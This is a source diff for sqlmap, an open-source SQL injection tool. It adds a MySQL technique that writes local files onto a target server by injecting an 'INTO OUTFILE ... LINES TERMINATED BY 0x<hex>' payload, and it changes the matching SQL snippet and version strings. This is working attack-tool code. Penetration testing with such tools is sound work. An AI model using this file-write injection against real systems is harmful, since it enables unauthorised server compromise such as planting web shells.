diff --git a/lib/core/settings.py b/lib/core/settings.py index ff1c03088..6ad238405 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import DBMS_DIRECTORY_NAME from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.2.9.8" +VERSION = "1.2.9.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 91e6bd9a4..67e0fdcb1 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -146,8 +146,7 @@ class Web: query += "OR %d=%d " % (randInt, randInt) query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=hexencode(uplQuery, conf.encoding)) - query = agent.prefixQuery(query) - query = agent.suffixQuery(query) + query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required) payload = agent.payload(newValue=query) page = Request.queryPage(payload) diff --git a/plugins/dbms/mysql/filesystem.py b/plugins/dbms/mysql/filesystem.py index 1181d3a86..15819ab67 100644 --- a/plugins/dbms/mysql/filesystem.py +++ b/plugins/dbms/mysql/filesystem.py @@ -5,6 +5,8 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ +from lib.core.agent import agent +from lib.core.common import getSQLSnippet from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import popValue @@ -16,11 +18,13 @@ from lib.core.data import kb from lib.core.data import logger from lib.core.decorators import stackedmethod from lib.core.enums import CHARSET_TYPE +from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.enums import PLACE from lib.core.exception import SqlmapNoneDataException from lib.request import inject +from lib.request.connect import Connect as Request from lib.techniques.union.use import unionUse from plugins.generic.filesystem import Filesystem as GenericFilesystem @@ -112,6 +116,34 @@ class Filesystem(GenericFilesystem): return self.askCheckWrittenFile(wFile, dFile, forceCheck) + def linesTerminatedWriteFile(self, wFile, dFile, fileType, forceCheck=False): + logger.debug("encoding file to its hexadecimal string value") + + fcEncodedList = self.fileEncode(wFile, "hex", True) + fcEncodedStr = fcEncodedList[0][2:] + fcEncodedStrLen = len(fcEncodedStr) + + if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000: + warnMsg = "the injection is on a GET parameter and the file " + warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen + warnMsg += "bytes, this might cause errors in the file " + warnMsg += "writing process" + logger.warn(warnMsg) + + debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile) + logger.debug(debugMsg) + + query = getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=dFile, HEXSTRING=fcEncodedStr) + query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required) + payload = agent.payload(newValue=query) + page = Request.queryPage(payload) + + warnMsg = "expect junk characters inside the " + warnMsg += "file as a leftover from original query" + singleTimeWarnMessage(warnMsg) + + return self.askCheckWrittenFile(wFile, dFile, forceCheck) + def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): debugMsg = "creating a support table to write the hexadecimal " debugMsg += "encoded file to" diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index 59ca3284e..8ae9ecfca 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -284,17 +284,23 @@ class Filesystem: if conf.direct or isStackingAvailable(): if isStackingAvailable(): debugMsg = "going to upload the file '%s' with " % fileType - debugMsg += "stacked query SQL injection technique" + debugMsg += "stacked query technique" logger.debug(debugMsg) written = self.stackedWriteFile(localFile, remoteFile, fileType, forceCheck) self.cleanup(onlyFileTbl=True) elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and Backend.isDbms(DBMS.MYSQL): debugMsg = "going to upload the file '%s' with " % fileType - debugMsg += "UNION query SQL injection technique" + debugMsg += "UNION query technique" logger.debug(debugMsg) written = self.unionWriteFile(localFile, remoteFile, fileType, forceCheck) + elif Backend.isDbms(DBMS.MYSQL): + debugMsg = "going to upload the file '%s' with " % fileType + debugMsg += "LINES TERMINATED BY technique" + logger.debug(debugMsg) + + written = self.linesTerminatedWriteFile(localFile, remoteFile, fileType, forceCheck) else: errMsg = "none of the SQL injection techniques detected can " errMsg += "be used to write files to the underlying file " diff --git a/procs/mysql/write_file_limit.sql b/procs/mysql/write_file_limit.sql index 58fccab0a..e879fbe40 100644 --- a/procs/mysql/write_file_limit.sql +++ b/procs/mysql/write_file_limit.sql @@ -1 +1 @@ -LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING%-- +LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING%-- - diff --git a/txt/checksum.md5 b/txt/checksum.md5 index d5cbc953c..06a6c8ca5 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ c8c386d644d57c659d74542f5f57f632 lib/core/patch.py 0c3eef46bdbf87e29a3f95f90240d192 lib/core/replication.py a7db43859b61569b601b97f187dd31c5 lib/core/revision.py fcb74fcc9577523524659ec49e2e964b lib/core/session.py -8e0191efaa0a5d6a64a8e4e0aa772164 lib/core/settings.py +c762da4ab30d1e245ca359df355ff7a7 lib/core/settings.py dd68a9d02fccb4fa1428b20e15b0db5d lib/core/shell.py a7edc9250d13af36ac0108f259859c19 lib/core/subprocessng.py 815d1cf27f0f8738d81531e73149867d lib/core/target.py @@ -89,7 +89,7 @@ acc1db3667bf910b809eb279b60595eb lib/takeover/icmpsh.py 46ff5840b29531412bcaa05dac190413 lib/takeover/metasploit.py fb9e34d558293b5d6b9727f440712886 lib/takeover/registry.py 6a49f359b922df0247eb236126596336 lib/takeover/udf.py -f6f835e4190a55e42d13c1e7ca3f728f lib/takeover/web.py +a3d07df8a780c668a11f06be42014cdc lib/takeover/web.py debc36a3ff80ba915aeeee69b21a8ddc lib/takeover/xp_cmdshell.py db208ab47de010836c6bf044e2357861 lib/techniques/blind/inference.py 1e5532ede194ac9c083891c2f02bca93 lib/techniques/blind/__init__.py @@ -172,7 +172,7 @@ f25c50a95e5390ecd32be5a011637349 plugins/dbms/mssqlserver/__init__.py 3c0845fa526e1bb7bbe636fcfcbcc4a6 plugins/dbms/mssqlserver/takeover.py 11a5724fdc0b0c0eb2626d952cda216a plugins/dbms/mysql/connector.py 445164daf59b890aeacc968af58fcb53 plugins/dbms/mysql/enumeration.py -4578fa29f04d0a75499f9668466ded07 plugins/dbms/mysql/filesystem.py +2f97535b5cfb28eac0d51bf67a0304f7 plugins/dbms/mysql/filesystem.py 34d951003dca386719c4d91384d2669a plugins/dbms/mysql/fingerprint.py 30065993f8300994e4658634121609e9 plugins/dbms/mysql/__init__.py 0e2adbee217f5b94dcc124d24b8dde99 plugins/dbms/mysql/syntax.py @@ -210,7 +210,7 @@ ce6a6ff713852b5eca7b78316cc941c4 plugins/generic/custom.py 78813e60e7108f78ef1af46d360f41bf plugins/generic/databases.py 4e2b366bb9cfdaaed719b219913357c6 plugins/generic/entries.py d82f2c78c1d4d7c6487e94fd3a68a908 plugins/generic/enumeration.py -0c8abe66a78edca0660bfb8049d109e2 plugins/generic/filesystem.py +0a67b8b46f69df7cfacc286b47a0d9a5 plugins/generic/filesystem.py f5d5419efddfe04648ea5e953c650793 plugins/generic/fingerprint.py 1e5532ede194ac9c083891c2f02bca93 plugins/generic/__init__.py f7874230e5661910d5fd21544c7d1022 plugins/generic/misc.py